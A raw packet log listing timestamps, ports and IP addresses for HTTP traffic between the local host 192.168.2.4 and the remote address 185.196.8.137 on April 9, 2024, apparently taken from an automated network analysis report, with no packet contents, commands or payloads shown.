Apr 9, 2024 14:54:01.724519014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.724539042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724675894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724704981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724714994 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.724823952 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724864960 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.724883080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724988937 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725060940 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725100994 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725162983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725214005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725279093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725286007 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725356102 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725369930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725457907 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725472927 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725601912 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725626945 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725639105 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725661993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725739956 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725811958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725833893 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.725929976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725965977 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.725985050 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726077080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726142883 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726154089 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726224899 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726265907 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726289988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726361990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726460934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726485014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726540089 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726613998 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726627111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726635933 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726707935 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726711035 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726759911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726875067 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726887941 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.726887941 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726917982 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.726942062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727080107 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727133989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727145910 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.727233887 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727315903 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.727335930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727423906 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727556944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.727731943 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727822065 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727897882 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.727997065 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728033066 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728038073 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728038073 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728066921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728094101 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728127003 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728161097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728230953 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728246927 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728271008 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728312016 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728323936 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728374004 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728424072 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728435040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728466988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728530884 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728621960 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728657007 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728658915 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728658915 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728710890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728754044 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728817940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728832006 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728864908 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728877068 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.728926897 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.728986025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729000092 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729031086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729063034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729144096 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729162931 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729187012 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729198933 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729269028 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729335070 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729396105 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729425907 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729430914 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729463100 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729485989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729568005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729634047 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729638100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729685068 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729700089 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729767084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729820967 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729835033 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.729866982 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729896069 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729974985 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.729990005 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730021000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730058908 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730082989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730134010 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730151892 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730175018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730243921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730264902 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730288029 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730329990 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730356932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730407000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730448961 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730449915 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730499983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730509996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730537891 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730595112 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730654955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730667114 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730734110 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730792046 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730807066 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.730950117 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.730997086 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731090069 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731144905 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731198072 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731215000 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731247902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731331110 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731369019 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731388092 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731426001 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731432915 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731470108 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731511116 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731528997 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731576920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731607914 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731618881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731682062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731734991 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731739998 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731796026 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731837034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731879950 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.731883049 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731915951 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.731937885 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732006073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732042074 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732045889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732110977 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732121944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732144117 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732202053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732234001 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732245922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732311010 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732348919 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732398987 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732409954 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732486963 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732528925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732542992 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732578039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732604980 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732628107 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732672930 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732693911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732758045 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732768059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732872009 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732893944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732948065 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.732964039 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.732986927 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733057976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733103037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733136892 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733136892 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733161926 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733223915 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733285904 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733290911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733351946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733436108 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733445883 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733483076 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733484030 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733525991 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733632088 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733648062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733665943 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733683109 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733740091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733773947 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733799934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733848095 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733858109 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.733891010 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733947992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.733961105 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734016895 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734060049 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734071970 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734261990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734329939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734342098 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734375000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734481096 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734544992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734579086 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734579086 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734589100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734668970 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734702110 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734891891 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.734905005 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734973907 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.734985113 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735028982 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735114098 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735186100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735200882 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735243082 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735275030 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735387087 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735405922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735424042 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735445976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735501051 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735512972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735567093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735630035 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735696077 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735769987 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735783100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735806942 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735869884 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.735912085 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.735944986 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.736016989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.736052990 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.736088991 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.779386997 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.808079004 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.808079004 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.984931946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.984958887 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.013339996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.040338039 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.040510893 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.217206955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.221020937 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251492977 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251517057 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251532078 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251543999 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251555920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251563072 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251569033 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251589060 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251605988 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251638889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251663923 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251677036 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251698971 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251751900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251787901 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251791954 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251842022 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251868010 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251874924 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251904011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251923084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.251939058 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.251990080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252002954 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252022982 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252038956 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252051115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252072096 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252084017 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252098083 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252121925 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252146959 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252182007 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252208948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252237082 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252274036 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252288103 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252300024 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252311945 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252334118 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252335072 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252346992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252358913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252370119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252393007 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252393961 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252413034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252425909 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252450943 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252492905 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252505064 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252528906 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252531052 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252559900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252566099 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252609015 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252621889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252643108 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252671003 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252706051 CEST	80	49739	185.196.8.137	192.168.2.4
